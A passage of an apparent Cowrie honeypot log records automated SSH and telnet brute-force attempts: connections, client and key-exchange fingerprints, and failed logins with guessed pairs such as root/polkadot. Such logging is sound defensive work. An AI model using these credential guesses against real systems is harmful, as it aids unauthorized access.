30:30:e9:e2:32:90:95:89:31:75:68:b0:64:56:d5:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.351454Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:30:e9:e2:32:90:95:89:31:75:68:b0:64:56:d5:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVlsob7501ax6gL9IWyn9tf17sGm3us8QUBHR+Ue4GSCVPBS+Mw9sw6oGyN7/cGpr8JOsxvPBiJCiWuiJe6FkGFpPCceC3dabzTtA5XVmh7t6uayMD9PjDMONduJ40Vfuem1/RQ2inFf9PRLyf6mPKtIOID50mp/pNuopL0X2eZvIkOhbNsIPRR88P7h8DSDH7p4vFEI8jGTuQdYqbP+TLUldEOOkymLCQs+dly5DjSr7JVguFQjtUHQ3XASnRnsRMafXy5v8yNdq9tu9t/aLN7doNamKCx5cznvTB+6eiKnw2mARwbIaHg2ZHYkme2AFVHplCbnfh2TEwwqcvj7eFW9swchiEve7da9KjlQzCO7skJR0ldm5Aq/hMhsxx2GE5EfAI3myU7FaIGFNdQzOoX+qXQVEgzvxSd1VPjCcdCRpLM8lK+HbW2ygTabud408yYjRp4Dz+awKf+ahBBweFJq4FE+6KMzcjduYSpHF/IJZb7K/to5AC9hXE/bpp1uUX9vCzTEbRd7mQ4+43QfaAtwixv2Aqax+CwTmdR+/v7Myk1qUqA/W3e/6rI0wCYuI4xHiV12FlxohwIGw4w5+DWGjHsvEioJ3svn/SfWJ5loGeZc4bbEA7xHTPEvdoGWAXhTNbAjX0OY5fuZAwnimYadQUzFtfAxv7fj9CXNvf2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.355197Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:ec:df:b3:7d:84:95:88:26:fa:01:ba:c9:94:bc:ab","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIk/QK+FmGR/OPwgqXkqh7dk3iJYN5X+4L19iK4jJM59/qZGJa/FapmPsriXPal1WiySTQNt6NT8qPdkXoeEbQAX3PIH85moJLEXjynq47FJA+pZ/1n8zou/ADPLBOoNfT1z3u+38i0QlKUIIQsQjEgVf+l9HZw75Mv4L7qK5WRrAAAAFQD8qA+kQ5qEpqfse+1YWxQ5bCWxhwAAAIA5P8fSTXKY3CHbhPuoti8D6AgcLOPFJOCHMDalkwvGfTQMdLFzNO2FRJYmtfoZ9FbZf567+p1zYlYCOJk9YN279rGfhDmQqBn+Law+/WLsfvCHEd+6/Fu4+IrA1E0xEoPrxUIGZ4q2Q1Mi/yNrdb0gfna7M5ztpnARReNMQBsF2gAAAIAkMwA2oc5I+4NxBuJyWnymFBuNSw79DcOuNjoRGifqLWDRiJKoYjicNDVRLwxLZqWycGN5BspxpFNEZypYbbNowvEGL4X/IMZf2YhmWgkjMdX2S29O4uD+uyVdFeG6nQCnEANL5ILqNuHWY83LGDvEOw3oym8pHwf9nBgGwFvVFA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4f:ec:df:b3:7d:84:95:88:26:fa:01:ba:c9:94:bc:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.489817Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:ec:df:b3:7d:84:95:88:26:fa:01:ba:c9:94:bc:ab","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIk/QK+FmGR/OPwgqXkqh7dk3iJYN5X+4L19iK4jJM59/qZGJa/FapmPsriXPal1WiySTQNt6NT8qPdkXoeEbQAX3PIH85moJLEXjynq47FJA+pZ/1n8zou/ADPLBOoNfT1z3u+38i0QlKUIIQsQjEgVf+l9HZw75Mv4L7qK5WRrAAAAFQD8qA+kQ5qEpqfse+1YWxQ5bCWxhwAAAIA5P8fSTXKY3CHbhPuoti8D6AgcLOPFJOCHMDalkwvGfTQMdLFzNO2FRJYmtfoZ9FbZf567+p1zYlYCOJk9YN279rGfhDmQqBn+Law+/WLsfvCHEd+6/Fu4+IrA1E0xEoPrxUIGZ4q2Q1Mi/yNrdb0gfna7M5ztpnARReNMQBsF2gAAAIAkMwA2oc5I+4NxBuJyWnymFBuNSw79DcOuNjoRGifqLWDRiJKoYjicNDVRLwxLZqWycGN5BspxpFNEZypYbbNowvEGL4X/IMZf2YhmWgkjMdX2S29O4uD+uyVdFeG6nQCnEANL5ILqNuHWY83LGDvEOw3oym8pHwf9nBgGwFvVFA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.493235Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:d0:82:f3:6b:81:e7:a6:6e:90:9a:0d:cd:7f:4a:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq9YvIZoB2GihBkKH7kM2lUCgz6bdA8GV1uXc10pezhUOhiZAEUH9wrRpR5jNK/vlc7ImwF21ymiIw/9BLHilmyOaXYA4pVccvZ22OiJU2AtMXhZI30Jp6L/hh5TNXC19WWf5XgI93wJgorojqKyK11skt4+3dMv5EK1huEShx81RH8CN5qHjZrFuXmBBminNL+o/i9lDPFUzGTjH2loS7JuVAAxdbqO7N9swUScsEnkcHQy36drkSRnNjXgvDoEyutY4+R9q0O1/+K1S7KMEH45Vs2wbSeHhq9fWOl6miTLzLGGxMbVbx5hGKev1z8PyCTb9IJOiaj3QEr3LeAflR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:d0:82:f3:6b:81:e7:a6:6e:90:9a:0d:cd:7f:4a:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.618994Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:d0:82:f3:6b:81:e7:a6:6e:90:9a:0d:cd:7f:4a:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq9YvIZoB2GihBkKH7kM2lUCgz6bdA8GV1uXc10pezhUOhiZAEUH9wrRpR5jNK/vlc7ImwF21ymiIw/9BLHilmyOaXYA4pVccvZ22OiJU2AtMXhZI30Jp6L/hh5TNXC19WWf5XgI93wJgorojqKyK11skt4+3dMv5EK1huEShx81RH8CN5qHjZrFuXmBBminNL+o/i9lDPFUzGTjH2loS7JuVAAxdbqO7N9swUScsEnkcHQy36drkSRnNjXgvDoEyutY4+R9q0O1/+K1S7KMEH45Vs2wbSeHhq9fWOl6miTLzLGGxMbVbx5hGKev1z8PyCTb9IJOiaj3QEr3LeAflR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.622473Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:43.746863Z","src_ip":"200.26.188.219","session":"694dc3099813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":48664,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27bdaa95998","protocol":"ssh","message":"New connection: 43.173.90.78:48664 (159.203.135.109:22) [session: e27bdaa95998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:49.835747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:49.841006Z","src_ip":"43.173.90.78","session":"e27bdaa95998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:50.010932Z","src_ip":"43.173.90.78","session":"e27bdaa95998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sc","password":"123","message":"login attempt [sc/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:50.720508Z","src_ip":"43.173.90.78","session":"e27bdaa95998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:51.892915Z","src_ip":"43.173.90.78","session":"e27bdaa95998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60782,"dst_ip":"159.203.135.109","dst_port":22,"session":"12b7383d762a","protocol":"ssh","message":"New connection: 103.82.132.16:60782 (159.203.135.109:22) [session: 12b7383d762a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:53.778766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:53.784312Z","src_ip":"103.82.132.16","session":"12b7383d762a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:54.042864Z","src_ip":"103.82.132.16","session":"12b7383d762a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odessa","message":"login attempt [root/odessa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:54.819811Z","src_ip":"103.82.132.16","session":"12b7383d762a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:56.081418Z","src_ip":"103.82.132.16","session":"12b7383d762a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":33210,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04be0850ab8","protocol":"ssh","message":"New connection: 15.204.225.76:33210 (10.17.0.5:22) [session: d04be0850ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:04.842273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:04.847495Z","src_ip":"15.204.225.76","session":"d04be0850ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:04.863389Z","src_ip":"15.204.225.76","session":"d04be0850ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipv","password":"sipv","message":"login attempt [sipv/sipv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:04.944643Z","src_ip":"15.204.225.76","session":"d04be0850ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":47078,"dst_ip":"10.17.0.5","dst_port":22,"session":"b63954b23525","protocol":"ssh","message":"New connection: 40.117.97.0:47078 (10.17.0.5:22) [session: b63954b23525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:05.130093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:05.139523Z","src_ip":"40.117.97.0","session":"b63954b23525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:05.164837Z","src_ip":"40.117.97.0","session":"b63954b23525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polkadot","message":"login attempt [root/polkadot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:05.267972Z","src_ip":"40.117.97.0","session":"b63954b23525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:05.963769Z","src_ip":"15.204.225.76","session":"d04be0850ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:06.291963Z","src_ip":"40.117.97.0","session":"b63954b23525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.106.5.94","src_port":49516,"dst_ip":"10.17.0.5","dst_port":23,"session":"62436506feea","protocol":"telnet","message":"New connection: 201.106.5.94:49516 (10.17.0.5:23) [session: 62436506feea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:21.108839Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":38020,"dst_ip":"159.203.135.109","dst_port":22,"session":"18968c106b71","protocol":"ssh","message":"New connection: 103.27.238.116:38020 (159.203.135.109:22) [session: 18968c106b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:22.762036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:22.767089Z","src_ip":"103.27.238.116","session":"18968c106b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:23.020633Z","src_ip":"103.27.238.116","session":"18968c106b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qwer","message":"login attempt [root/123456qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:23.782845Z","src_ip":"103.27.238.116","session":"18968c106b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:25.039772Z","src_ip":"103.27.238.116","session":"18968c106b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":45308,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd50926deb36","protocol":"ssh","message":"New connection: 115.91.48.142:45308 (10.17.0.5:22) [session: bd50926deb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:33.620718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:33.628538Z","src_ip":"115.91.48.142","session":"bd50926deb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:33.939355Z","src_ip":"115.91.48.142","session":"bd50926deb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.9838707447052,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:35.092603Z","src_ip":"201.106.5.94","session":"62436506feea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456","message":"login attempt [ubuntu/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:35.213355Z","src_ip":"115.91.48.142","session":"bd50926deb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:40:37.235847Z","src_ip":"115.91.48.142","session":"bd50926deb36","protocol":"ssh"}
